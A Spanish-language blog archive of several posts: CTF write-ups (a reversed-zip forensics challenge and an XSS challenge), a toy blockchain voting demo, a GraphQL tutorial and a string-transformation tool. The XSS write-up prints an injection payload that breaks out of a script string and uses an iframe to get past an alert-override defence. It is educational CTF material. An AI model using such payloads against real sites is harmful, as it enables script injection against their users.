Archivo de la categoría: Snippets

Security Fest #CTF – Zion write up

Para este reto nos daban un archivo comprimido zion.tar.gz, procedemos a descomprimirlo y obtenemos otro archivo llamado YouKnow.

El archivo no tiene extension pero utilizamos el comando file para ver que tipo de archivo es.

Parece un archivo de Microsoft Word Office y sabemos que los archivos docx en realidad son archivos en formato zip.

Procedemos a descomprimir YouKnow

Obtenemos varios archivos y carpetas, comenzamos a analizarlos de uno por uno, sin embargo no encontramos nada que haga referencia a la bandera del reto. (analice la imagen del conejo con un par de herramientas de esteganografía pero no había nada)

Damos un paso atrás y abrimos el archivo YouKnow en un editor hexadecimal de su elección, you utilice Sublime

Observamos la cabecera estándar PK del formato ZIP

Al ir analizando el archivo, hacia el final, algo salta inmediatamente a la vista.

Parece que hay otro archivo Zip concatenado al primero pero los bytes están en orden inverso (observen como el archivo termina en KP, y vemos algunos strings como lmx que seria xml).

Podemos utilizar python para invertir los bytes del archivo fácilmente.

open('YouKnow_reversed','wb').write(open('YouKnow','rb').read()[::-1])

Obtenemos el archivo con los bytes invertidos y procedemos a descomprimirlo.

Obtenemos nuevamente varios archivos y carpetas.

Y en donde estaba la imagen anterior del conejo rojo ahora encontramos otra imagen, esta vez de un conejo azul que nos muestra la bandera del reto 🙂

La bandera del reto es sctf{m41nfr4m3_4cc3ss_c0d3_1337_4lw4s}

Bonus

Programe una pequeña herramienta en python llamada reverse bytes para invertir los bytes de un archivo utilizando una cli mas amigable.

usage: rbytes.py [-h] [-o OUTFILE] infile

A simple python script for reverse the bytes of a file.

Author: Lenin Alevski Huerta Arias
Year: 2018

positional arguments:
  infile                Input file

optional arguments:
  -h, --help            show this help message and exit
  -o OUTFILE, --outfile OUTFILE
                        Output file

Happy hacking 🙂

Security Fest #CTF – Excess write up (XSS)

Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.

Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link

Por mi parte estoy listo para participar en Viettel Mates CTF 2018 este fin de semana 🙂 y el 23 de junio en Google Capture The Flag 2018 (Quals)

Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolví tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.

El CTF tenia tematica de The Matrix, kudos por eso!

Security Fest CTF Excess – Web Challenge

Excess fue uno de los primeros retos de la categoría web, en las instrucciones se nos daba un link a una pagina web y al entrar veíamos la siguiente pantalla.

Las instrucciones son bastante claras, tenemos que encontrar un XSS en el sitio y hacer que muestre un alert, después mandar la URL con nuestro payload y reclamar la bandera.

Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.

Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.

Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.

En el parámetro xss enviamos:

/?xss=<strong>hello';alert(1);//</strong>

Y el código se va a inyectar de la siguiente forma:

...
..
<div class="container">
  <script>var x ='hello';alert(1);//; var y = `hello';alert(1);//; var z = "hello';alert(1);//;</script>
  <div class="row main">
       <div class="form-header header">
...
..

Nuestro payload se inyecta 3 veces, pero no importa puesto que después del primer // todo el resto del código quedara comentado. En el sitio web vemos la siguiente alerta.

¿Qué?, ¿Cómo?, ¿Cuándo? xd nosotros inyectamos un alert no un prompt, inspeccionando el código fuente del sitio mas a detalle y observamos que hay un script que se esta llamando antes de que inyectemos nuestro código.

<script src="/static/no_alert_for_you.js"></script><section class="login-info">

Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.

/*

        If there is no alert,
        	how can there be XSS?
                      /
                     /
            )            (
           /(   (\___/)  )\
          ( #)  \ ('')| ( #
           ||___c\  > '__||
           ||**** ),_/ **'|
     .__   |'* ___| |___*'|
      \_\  |' (    ~   ,)'|
       ((  |' /(.  '  .)\ |
        \\_|_/ <_ _____> \______________
         /   '-, \   / ,-'      ______  \
b'ger   /      (//   \\)     __/     /   \
                            './_____/

*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));

Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.

Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.

Después de investigar un buen rato encontré varios artículos que describen esta técnica (override de funciones nativas) para mitigar ataques de XSS, sin embargo esto no soluciona el problema debido a la misma naturaleza del lenguaje Javascript, a continuación muestro como creando un elemento iframe, que tiene una instancia nueva y sin modificar del objeto Window, es posible ejecutar las funciones nativas originales.

var iframe = document.createElement('iframe'); // creamos un nuevo iframe
iframe.src = '';
iframe.style.display = 'none';
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original
alert(1); // Ejecutamos el alert original

Armamos nuestro payload y lo inyectamos en el parámetro xss.

/?xss=hello%27;var%20iframe=document.createElement(%27iframe%27);iframe.src=%27%27;iframe.style.display=%27none%27;document.body.appendChild(iframe);window.alert=iframe.contentWindow.alert;alert(1);//

Y veremos el alert original en la pantalla, enviamos la URL con nuestro payload y obtenemos la bandera de este reto.

Happy hacking 🙂

Implementación teórica con BlockChain para un sistema de votaciones

Ha inicios de este año recibí un mensaje en Linkedin donde me preguntaban si estaba interesado en comenzar un proceso de reclutamiento, lo cual no es nada raro ya que siendo ingeniero de software (una de las industrias con más de profesionales en la actualidad) te llegan correos con propuestas laborales todos los días, sin embargo esta propuesta me pareció bastante interesante ya que necesitaban un Senior BlockChain Engineer, el mensaje en cuestión era:

Si bien no tengo experiencia desarrollando BlockChain como tal, si tengo bastante experiencia con sistemas distribuidos, así que me di a la tarea de comenzar a aprender el funcionamiento de esta tecnología desde un punto de vista técnico, sus conceptos básicos y sobre todo tratar de entender por que se volvió tan popular y sera el “futuro”.

Disclaimer: El código mostrado en el articulo a continuación no es una implementación real de BlockChain (no esta ni cerca del 1% de ser un proyecto real) la intención es resaltar y explicar las partes mas importantes y hacer hincapié en los conceptos básicos de lo que es BlockChain, el código dista de ser perfecto y no debe ser usado en producción.

Bueno ya estan advertidos hehe, comenzamos.

El bloque

Para entender lo que es la cadena de bloques primero tenemos que entender lo que es un bloque, el bloque puede ser representado como un objeto que contiene un identificador único, un timestamp, información en cualquier formato que queramos, un hash o checksum que representa la información que contiene y lo mas importante es que debe tener una referencia al bloque anterior, como si de una lista enlazada se tratara.

Con un lenguaje tan sencillo como Javascript podemos representar al bloque de la siguiente forma:

class Block {
  constructor(index, timestamp, data, previousHash = '') {
    this.index = index;
    this.timestamp = timestamp;
    this.data = data;
    this.previousHash = previousHash;
    this.hash = this.calculateHash();
  }

  calculateHash() {
    return SHA256(this.index + this.timestamp + JSON.stringify(this.data) + this.previousHash).toString();
  }
}

La clase bloque contiene una función muy especial llamada calculateHash, esta función toma toda la información del bloque (index, timestamp, data, previousHash), la concatena y le aplica un algoritmo de hashing para generar un checkSum que despues sera almacenado en el mismo bloque, la parte interesante y una de las razones por las que BlockChain es seguro es precisamente el uso de estas funciones criptográficas, ya que su integridad esta respaldada de forma matemáticamente.

Detengamonos por unos segundos y pensemos, si todo bloque debe de tener una referencia al hash del bloque anterior, y ese dato (previousHash) se utiliza para calcular el hash del bloque actual eso significa que si alguien hackea/modifica/elimina uno de los bloques anteriores todos los siguientes bloques quedarían invalidados 🙂 , seria un efecto domino de fallas en la integridad de los bloques.

Esta es la representación mas básica que se me ocurre de un bloque, en la vida real son estructuras de datos mucho mas complejas y en la parte de los datos pueden contener muchísimas mas piezas de información y no solo una, como lo es el caso de las transacciones en la BlockChain de Bitcoin.

La cadena

Habiendo entendido un poco lo que es el bloque ahora toca el turno de la cadena, esta es otra estructura de datos que funciona alrededor de los bloques y realiza operaciones con ellos, mencione que esta tecnología es muy parecida a una lista enlazada, si el bloque es uno de los nodos entonces la cadena serian las operaciones de agregar, eliminar, modificar, etc nodos, aunque en BlockChain solo podemos agregar bloques y nunca eliminarlos por lo que mencionaba sobre la integridad de los hashes.

En Javascript podemos representar la cadena de la siguiente forma:

class BlockChain {
  constructor() {
    this.chain = [this.createGenesisBlock()];
  }

  createGenesisBlock() {
    return new Block(0, new Date(), "Genesis block");
  }

  getLatestBlock() {
    return this.chain[this.chain.length - 1];
  }

  addBlock(block) {
    block.previousHash = this.getLatestBlock().hash;
    block.hash = block.calculateHash();
    this.chain.push(block);
  }

  isChainValid() {
    for(let i = 1; i < this.chain.length; i++) {
      const currentBlock = this.chain[i];
      const previousBlock = this.chain[i - 1];
      if (currentBlock.hash !== currentBlock.calculateHash()) {
        return false;
      }
      if(currentBlock.previousHash !== previousBlock.hash) {
        return false;
      } 
    }
    return true;
  }
}

Tenemos varias funciones interesantes como addBlock (agregar nuevo bloque), getLatestBlock (obtener el ultimo bloque), isChainValid (valida la integridad de la cadena de bloques) y createGenesisBlock, estas dos ultimas son las mas interesantes.

Mencione que cada bloque debe tener una referencia al bloque anterior ¿Pero entonces cuál fue el primer bloque 🙂 ?

Toda cadena de bloques inicia con un bloque llamado Bloque Genesis, ese nombre no es nada mas que una convención, es la forma de inicializar la cadena.

La función isChainValid verifica la integridad de la cadena utilizando los hashes de cada uno de los bloques, comienza revisando a partir del segundo bloque (uno después del bloque génesis) y primero revisa que el hash actual efectivamente corresponda con la información del bloque

if (currentBlock.hash !== currentBlock.calculateHash()) {
  return false;
}

Después revisa que la referencia (previousHash) al bloque anterior sea la correcta:

if(currentBlock.previousHash !== previousBlock.hash) {
  return false;
} 

Así hasta llegar al ultimo bloque y si todo sale bien la cadena es valida :). Sin embargo si entendieron bien el concepto de verificación de integridad pueden ver el problema con esta implementación, si bien no es posible modificar la información de un bloque intermedio, teóricamente es posible “hackear” la información del ultimo bloque antes de que agreguen nuevos nodos a la cadena.

Este precisamente es el problema que se aborda en el primer paper de Bitcoin por Satoshi Nakamoto: Bitcoin: A Peer-to-Peer Electronic Cash System

Sin entrar en detalles, en implementaciones reales la cadena de bloques no se encuentra centralizada en una sola maquina, en lugar de eso es una red distribuida y todas las computadoras de la red contienen una copia completa de la cadena, entonces cada vez que alguien va a agregar un nuevo bloque toda la red tiene que consentir y finalmente ese bloque se almacena en las cadenas de todas las maquinas, sin embargo esta solución abre la posibilidad a nuevos tipos de ataques como por ejemplo el double spend attack, aun así, teóricamente sigue siendo posible “hackear” la BlockChain pero para eso tendrías que modificar los últimos bloques de todas las maquinas de la red lo cual requiere una cantidad inmensa de recursos y por lo tanto no es factible.

Ejemplo de BlockChain para votaciones

Habiendo aprendido los conceptos básicos ahora podemos pensar en como usar BlockChain para almacenar información referente a un sistema de votaciones, vamos a escribir unas cuantas pruebas en Javascript para probar nuestras dos clases, Block y BlockChain.

  it('Generate genesis block', () => {
    voteChain = new BlockChain();
    assert.lengthOf(voteChain.chain, 1);
    assert.equal(voteChain.chain[0].data, 'Genesis block');
  });

Con este test probamos que la cadena se inicializa y el bloque génesis es generado correctamente (la longitud de la cadena es 1 y data del primer bloque contiene el string ‘Genesis block’)

Ahora vamos a agregar unos cuantos bloques a la cadena

  it('Add some blocks', () => {
    voteChain.addBlock(new Block(1, new Date(), { user: 'Manuel', voted: 'PRI' }));
    voteChain.addBlock(new Block(2, new Date(), { user: 'Andres', voted: 'PAN' }));
    voteChain.addBlock(new Block(3, new Date(), { user: 'Julio', voted: 'PRD' }));
    voteChain.addBlock(new Block(4, new Date(), { user: 'Carlos', voted: 'PRI' }));
    voteChain.addBlock(new Block(5, new Date(), { user: 'Ruben', voted: 'PAN' }));
    voteChain.addBlock(new Block(6, new Date(), { user: 'Laura', voted: 'PRD' }));
    assert.lengthOf(voteChain.chain, 7);
  });

Estamos almacenando nombres de personas y el partido político mexicano por el que votaron, un bloque a la vez y al final verificamos que la longitud de la cadena es 7 (incluyendo el bloque génesis). En la vida real esto es mucho mas complicado ya que la gente no podría agregar bloques “solo por que si”, al igual que con Bitcoin se utilizaría una tecnología de PKI (Infraestructura de llave publica) en donde cada transacción de voto deberá ser firmada usando la llave privada (como con la FIEL del SAT) de la persona que emite su voto, de esa manera nadie podría votar a nombre de alguien mas.

Ahora tenemos nuestro test para verificar la integridad de la BlockChain, si la cadena es valida esperaríamos que la función isChainValid nos devolviera true.

  it('Validate chain integrity', () => {
    assert.isOk(voteChain.isChainValid(), 'Block hashes are incorrect'); // this should return true
  });

Observen como en cada uno de los bloques el valor de previousHash es identico al hash del bloque anterior

En la ultima prueba simulamos que alguien modifico el voto de alguien mas, para eso tomamos de forma aleatoria un bloque y cambiamos el valor de su data por el nombre de otro partido político.

  it('Changing random data in the BlockChain', () => {
    const min = 0; // first block id
    const max = 5; // for academic purpose this cannot be 6 (the last block id) due to double spend attack
    const blockId = Math.floor(Math.random() * (max - min + 1) + min); // https://stackoverflow.com/questions/4959975/generate-random-number-between-two-numbers-in-javascript
    const block = voteChain.chain[blockId];
    block.data = { user: block.data.user, voted: 'MORENA' }; // Changing block value
    block.hash = block.calculateHash(); // Re calculate the current block hash so no one notices the hack
    assert.isNotOk(voteChain.isChainValid(), 'Block hashes are incorrect'); // this should return false
  });

El test, de forma aleatoria, tomo el bloque con index 2 y cambio los valores que tenia en data y eso hizo que el hash resultante de ese bloque cambiara completamente.

hash antes del cambio:
9ecbe54e3e6b3f22a522bbee7f399002f1de2d653c15a74d2d321f27cdfe116b

hash después del cambio:
3e6c8f5c0a734db4bb19483a11022081250171621e5c5c17c21a302d1d9d14d0

Por lo tanto el previousHash del bloque index 3 ya no coincide con el del bloque index 2.

Debido a este cambio la validación de integridad de la cadena fallara (siempre y cuando no modifiquemos los datos del ultimo bloque) y isChainValid() nos devolverá false.

Y eso es todo por ahora, finalmente si quieren descargar este sencillo código para verlo mas a detalle o simplemente para tenerlo lo pueden hacer desde el siguiente repositorio de github alevsk blockchain javascript con los siguientes comandos

$ git clone https://github.com/Alevsk/blockchain-javascript
$ cd blockchain-javascript
$ npm install
$ mocha index.test.js

Resumen

BlockChain nos ofrece ante todo integridad de la información, nos asegura que la información no puede ser cambiada ni eliminada sin que nos demos cuenta, ademas por su naturaleza de ser un sistema distribuido es virtualmente imposible hackear la red, esta tecnología aplicada a un sistema de votaciones nos garantiza que algo como el robo de votos no puede ocurrir y tendríamos total transparencia en las votaciones.

Si quieren aprender mas sobre esta tecnología les recomiendo ver este video en donde se explica con mucho mas detalle como funciona Bitcoin y la BlockChain en general, se abordan muchísimos mas conceptos de los que mencione en este articulo.

Happy hacking 🙂

Introducción a GraphQL, Queries y Mutations

Como algunos de ustedes sabrán llevo poco mas de 1 año trabajando con una startup (si, deje Oracle XD) cuyo stack esta conformado en su mayoría por tecnologías de Javascript (NodeJS, ReactJS, Redux, Apollo, GraphQL, React-native, etc). y en esta ocasión quiero compartir con ustedes el material de la platica que di en el GDLJS del mes de octubre en Guadalajara, se trata de una breve introducción a GraphQL y cual ha sido mi experiencia con esta tecnología.

¿Que es GraphQL?

Primero lo primero, GraphQL es un lenguaje de consultas para tu API creado por Facebook en 2012, es decir, es un intermediario comúnmente utilizado entre un cliente y algún orm de tu elección, es importante mencionar que GraphQL no se conecta directamente a tu base de datos, en lugar de eso ayuda a que el cliente defina el formato de la respuesta que desea obtener del servidor, mas adelante veremos algunos ejemplos.

¿Cual es la diferencia?

Ya existen bastantes frameworks para desarrollar apis ¿Por que quisiera usar GraphQL?

Bueno una de las principales diferencias con apis basadas en REST simple que tienen múltiples endpoints es que en tu api basada en GraphQL solo tendras uno.

Ademas de eso las apis comunes utilizan varios métodos HTTP (GET, POST, DELETE, PUT, OPTIONS, etc) según la operación que vayan a realizar, mientras que con GraphQL usaras solamente POST si así lo deseas, un endpoint para gobernarlos a todos 😉

Todo bien hasta aquí, pero no me haz dicho realmente cual es el beneficio de usar esta tecnología

Tranquilo pequeño saltamontes, consideremos el caso siguiente:

Del lado izquierdo tenemos un cliente que hace una petición GET a un endpoint de álbumes pasando un id para obtener sus assets, posteriormente por cada uno de esos assets solicita los comentarios (múltiples peticiones al servidor), adicionalmente los objetos JSON que reciba en las respuestas siempre tendrán los mismos atributos.

Del lado derecho vemos la petición POST equivalente para un endpoint basado en GraphQL, como podemos observar en el mismo payload de nuestra petición estamos indicando el formato de respuesta que queremos que el servidor nos regrese, atributos en los objetos, etc.

Habra quien diga que puede ingeniárselas para que la petición defina la respuesta del servidor, regresar atributos dinámicamente, etc. y le creo pero buena suerte manteniendo algo como esto 🙂

GET /albums/1/assets/comments/?include=asset.name,comment.author,comment.text

Este es precisamente el problema que GraphQL resuelve, GraphQL nos permite definir relaciones entre las entidades de nuestra aplicación e inyectar esos objetos relacionados en las respuestas cada vez que el cliente lo pida.

El siguiente ejemplo de código esta basado en Javascript utilizando expressJS, supongamos que el cliente necesita desplegar en su frontend un objeto como el siguiente:

Un objeto película con datos como su nombre, el año y la calificación de la critica, adicionalmente también queremos los datos de los actores involucrados y los comentarios de los visitantes que han visto esa pelicula.

Manos a la obra, vamos a iniciar un nuevo proyecto con NodeJS

$ npm init
$ npm install --save express express-graphql graphiql graphql

Adicionalmente me gusta definir algunos comandos e instalar algunas dependencias para tener soporte es6, aquí pueden ver como queda mi package.json al final.

La estructura del proyecto es mas o menos la siguiente (demo-server)

Los archivos y carpetas mas importantes son:

  • app.js es nuestro entry point
  • graphql es la carpeta donde guardaremos nuestros “objetos QL”
  • data es la carpeta donde tendremos algunos objetos de ejemplo que simulan registros de la base de datos

Vamos a comenzar con el objeto Movie (película), en la carpeta graphql creamos un nuevo archivo llamado movieQL.js

import {
  GraphQLObjectType,
  GraphQLInt,
  GraphQLString,
  GraphQLList,
  GraphQLBoolean,
  GraphQLNonNull,
  GraphQLFloat,
} from 'graphql';

import actorQL from './actorQL';
import commentQL from './commentQL';

const movieQL = new GraphQLObjectType({
  name: 'movieQL',
  description: 'This is a movie QL object',
  fields: () => {
    return {
      name: {
        type: GraphQLString,
        resolve(movie) {
          return movie.name;
        }
      },
      score: {
        type: GraphQLFloat,
        resolve(movie) {
          return movie.score;
        }
      },
      year: {
        type: GraphQLInt,
        resolve(movie) {
          return movie.year;
        }
      },
      actors: {
        type: new GraphQLList(actorQL),
        resolve(movie) {
          return movie.actors;
        }
      },
      comments: {
        type: new GraphQLList(commentQL),
        resolve(movie) {
          return movie.comments;
        }
      },
    }
  }
});

export default movieQL;

Como podemos observar al inicio estamos haciendo import de varios módulos que representan tipos de datos escalares en graphQL, adicionalmente hacemos import de otras 2 entidades de nuestra aplicación, actorQL.js y commentQL.js, después en el atributo fields de nuestro objeto movieQL definimos varios campos del mismo junto con su tipo y aqui viene lo mas importante, definimos actors como una lista de tipo actorQL y comments como una lista de tipo commentQL, el código de las otras entidades es bastante similar al de movieQL por lo que no lo pondre en el post, pueden revisarlo en el repositorio: actorQL.js y commentQL.js

Queries y mutations

Otro de los conceptos básicos en graphQL son las queries y las mutations, existe toda una teoría detrás pero en resumen:

  • Queries: nos permiten leer datos del servidor (por lo general extraídos de una db)
  • Mutations: Crear / modificar / borrar datos en el servidor

Dentro de la misma carpeta graphql vamos a crear 2 nuevos archivos, queryQL.js y mutationQL.js

import {
  GraphQLObjectType,
  GraphQLList,
  GraphQLString,
  GraphQLInt,
  GraphQLBoolean
} from 'graphql';

import movieQL from './movieQL';
import { movies } from '../data';

const query = new GraphQLObjectType({
    name: 'Query',
    description: 'This is the root Query',
    fields: () => {
      return Object.assign({
        getMovies: {
          type: new GraphQLList(movieQL),
          args: {},
          resolve(root, args, request) {
            // do some db queries
            return movies;
          }
        },
      });
    },
});

export default query;

Para efectos de que esto es un demo no estamos utilizando ningún orm para conectarnos a alguna base de datos, pero ustedes son libres de elegir e implementar el que mas le guste, de la misma forma que en movieQL.js definimos los fields aquí estamos definiendo nuestros “endpoints”, por ejemplo estamos diciendo que getMovies es una query que nos regresara una lista de movieQL y estamos haciendo return del objeto movies (que es un objeto de ejemplo que importamos de la carpeta data).

De la misma forma dentro de mutationQL.js declaramos una operación llamada createMovie que nos retornara un objeto tipo movieQL (después de haberlo creado), la parte importante aquí es que por lo general los mutations reciben argumentos (name, year, score, lista de actores, lista de comentarios) y de nuevo, para efectos de que esto es un demo no estamos haciendo nada con los datos que nos enviá el usuario, simplemente los regresamos en la respuesta.

import {
  GraphQLObjectType,
  GraphQLInt,
  GraphQLString,
  GraphQLNonNull,
  GraphQLList,
  GraphQLInputObjectType,
  GraphQLBoolean,
  GraphQLFloat,
} from 'graphql';

import movieQL from './movieQL';

const actorInputQL = new GraphQLInputObjectType({
  name: 'actorInputQL',
  fields: {
    name: { type: GraphQLString },
    age: { type: GraphQLInt },
    country: { type: GraphQLString },
  },
});

const commentInputQL = new GraphQLInputObjectType({
  name: 'commentInputQL',
  fields: {
    user: { type: GraphQLString },
    commentary: { type: GraphQLString },
    timestamp: { type: GraphQLString },
  },
});

const mutation = new GraphQLObjectType({
  name: 'Mutation',
  description: 'This is the root Mutation',
  fields: () => {
    return Object.assign({
      createMovie: {
        type: movieQL,
        args: {
          name: {
            type: new GraphQLNonNull(GraphQLString),
          },
          year: {
            type: GraphQLInt,
          },
          score: {
            type: GraphQLFloat,
          },
          actors: {
            type: new GraphQLList(actorInputQL),
          },
          comments: {
            type: new GraphQLList(commentInputQL),
          },
        },
        resolve(root, args, request) {
          // do something here
          return args;
        },
      },
    });
  },
});

export default mutation;

Hasta aquí ya tenemos definidos nuestros queries y mutations de ejemplo, ha llegado el momento de definir un schema de graphQL e integrar todo con express, es bastante sencillo, comenzamos creando un archivo llamado schemaQL.js también dentro de la carpeta graphql

import { GraphQLSchema } from 'graphql';
import queryQL from './queryQL';
import mutationQL from './mutationQL';

const schemaQL = new GraphQLSchema({
  query: queryQL,
  mutation: mutationQL,
});

export default schemaQL;

Como podemos ver, simplemente importamos los modulos de queryQL y mutationQL y finalmente en nuestro entry point (app.js) mandamos llamar a graphQL con el schema recién creado.

import express from 'express';
import GraphHTTP from 'express-graphql';
import schemaQL from './graphql/schemaQL';

var app = express();

app.use('/graphiql', GraphHTTP({
    schema: schemaQL,
    pretty: true,
    graphiql: true
}));

app.use('/graphql', GraphHTTP({
    schema: schemaQL
}));

app.get('/', function (req, res, next) {
  const reponse = {
    message: 'hello world',
  };
  return res.json(reponse);
});

module.exports = app;

Notaran que tenemos definidos 2 endpoints, graphql y graphiql. GraphiQL es una herramienta bastante útil que viene con el modulo de graphQL, se trata de una pequeña interfaz web desde donde podemos probar nuestras queries y mutations y la cual nos genera una documentación con base en los objetos QL de nuestro código, por ejemplo para probar nuestra query de getMovies seria algo como lo siguiente:

Observen que del lado izquierdo estoy definiendo los atributos que quiero que contengan los objetos de la respuesta, puedo solicitar mas o menos dependiendo de lo que el cliente pida, ayudando bastante a, por ejemplo, reducir el tamaño de los mensajes si la petición se hace desde un cliente móvil.

De la misma forma podemos probar nuestro mutation por medio de graphiQL

Observen como desde el cliente podemos pasar directamente el objeto con sus atributos, incluso los objetos relacionados como la lista de actores y comentarios, ya es cuestión de procesar todo eso en nuestro backend y crear los registros en la base de datos.

Todo bien hasta el momento, ya sabemos utilizar graphiQL, ahora como usamos nuestra api ya en un proyecto real, muy sencillo, cada vez que hacemos un request en google developer toolbar podemos observar cual es el payload que se enviá al servidor:

Podemos tomar ese mismo payload y con la ayuda de POSTMAN enviarlo como raw body a nuestro endpoint de graphQL en /graphql

Observa como el POST request va dirigido a /graphql y no /graphiql, por ultimo desde el mismo POSTMAN podemos ver cual seria el HTTP request generado haciendo clic en el boton code

Finalmente lo único que queda es implementar ese request en tu lenguaje de programación / framework favorito, a continuación dejo la presentación que utilice durante el evento por si necesitan revisarla asi como el repositorio de github donde esta alojado el código de este demo: graphql demo server

StringTransformer: the transformation tool

st

Hola lectores, en esta ocasión me gustaría compartir con ustedes una herramienta opensource que he publicado en mi repositorio de github, se trata de StringTransformer, un script desarrollado en python cuya finalidad es tomar una cadena de texto y transformarla a distintas representaciones equivalentes de la misma, por ejemplo binario, hexadecimal, octal, md5, sha256, etc. Las funciones de transformación son clases separadas del script principal por lo que la herramienta es modular, esto significa que es bastante fácil para cualquier programador (que sepa python) crear sus propias transformaciones y extender la funcionalidad de la herramienta.

Esta herramienta les puede ser útil cuando están jugando Capture the flags y necesitan una forma rápida de analizar cadenas de texto (o al menos esa es su finalidad), la herramienta sigue en desarrollo, corrigiendo bugs e implementando nuevas funcionalidades.

Instalación

Su instalación es bastante sencilla, primero deben de clonar el repositorio usando git

$ git clone https://github.com/Alevsk/stringTransformer.git

Una vez descargado el repositorio acceden a la carpeta del proyecto, dan los permisos de ejecución necesarios y lanzan el script:

$ cd stringTransformer
$ chmod +x stringTransformer.py
$ ./stringTransformer.py
                  
              _______         
       _____ |   _   |  ____  
      |    |  \  V  /  |    | 
      |   \ \  \_ _/  / /   | 
      \  \ \ \   '   / / /  / 
       \  \   | 'V' |   /  /  
     |\ \_____| \ / |_____/ /|
     | \        | |        / |
     |  |    ,/|| ||\,    |  |
     |   `| '  || ||  ' |`   |
     |    | |  || ||  | |    |
     \    | |  || ||  | |    /
      \.  | |  ||_||  | |  ./ 
       \  | |  |___|  | |  /  
         \' ,  _____  , '/    
             \/ ___ \/        
               /___\          
                           

stringTransformer v0.1 (https://github.com/alevsk/stringTransformer/)

Usage: stringTransformer.py -i INPUT_STRING | --input INPUT_STRING | --load FILE

stringTransformer.py: error: Required argument is missing. Use '-h' for help.

Con el comando -h o –help podran ver el menu de ayuda:

Options:
  -h/--help             show this help message and exit
  -i/--input=INPUT      set the input string to test with
  -l/--load=LOAD_FILE   load list of input strings (one per line)
  -x/--exclude=EXCLUDE  exclude this representations
  -o/--only=ONLY        transform input only to this representations
  -O/--output=OUTPUT    generate an output file
  -p/--params=PARAMS    use custom parameters on transformation functions
  --list                list available input representations
  --update              update from the official git repository

Examples:
./stringTransformer.py -i [STRING]
./stringTransformer.py -i [STRING] --exclude "hexa, octal"
./stringTransformer.py -i [STRING] --only "hexa, octal"
./stringTransformer.py -i [STRING] --params "rot.cipher=13,rot.encoding=utf-8"
./stringTransformer.py --load list.txt
./stringTransformer.py --list

Para ver las funciones de transformación actualmente disponibles pueden utilizar –list:

stringTransformer v0.1 (https://github.com/alevsk/stringTransformer/)

- sha1
- octal
- binary
- sha256
- html_entities_decode
- html_entities_encode
- md5
- base64_encode
- base64_decode
- ascii
- slug
- rot_encode
- hexa
- urlencode

Puedes ayudar a crear más funciones de transformación para la herramienta, para eso sugiero lean la documentación en la página principal del repositorio (o en el archivo README.md) https://github.com/Alevsk/stringTransformer

Ejemplos de uso

Queremos aplicar una transformación hexadecimal, rot 13 encode y ascii a la cadena de texto “The transformation tool”

$ ./stringTransformer.py -i "The transformation tool" -o "hexa,rot_encode,ascii"

Obtenemos como resultado:

stringTransformer v0.1 (https://github.com/alevsk/stringTransformer/)

[i] Loaded 3 representations to apply.
[i] Starting tests at: "23:54:04"

The transformation tool

[i] applying transformation...

ascii:

84 104 101 32 116 114 97 110 115 102 111 114 109 97 116 105 111 110 32 116 111 111 108

rot_encode:

Gur genafsbezngvba gbby

hexa:

54 0x68 0x65 0x20 0x74 0x72 0x61 0x6e 0x73 0x66 0x6f 0x72 0x6d 0x61 0x74 0x69 0x6f 0x6e 0x20 0x74 0x6f 0x6f 0x6c 

==================================

Incluso podemos pasar parámetros a las funciones de transformación que lo soporten, rot_encode por defecto utilizar 13 posiciones de desplazamiento pero aquí indicamos que use 51

$ ./stringTransformer.py -i "The transformation tool" -o "rot_encode" --params="rot_encode.cipher=51"

stringTransformer v0.1 (https://github.com/alevsk/stringTransformer/)

[i] Loaded 1 representations to apply.
[i] Starting tests at: "23:58:11"

The transformation tool

[i] applying transformation...

rot_encode:

Sgd sqzmrenqlzshnm snnk

==================================

La herramienta cuenta con muchísimos otros parámetros que los invito a explorar.
saludos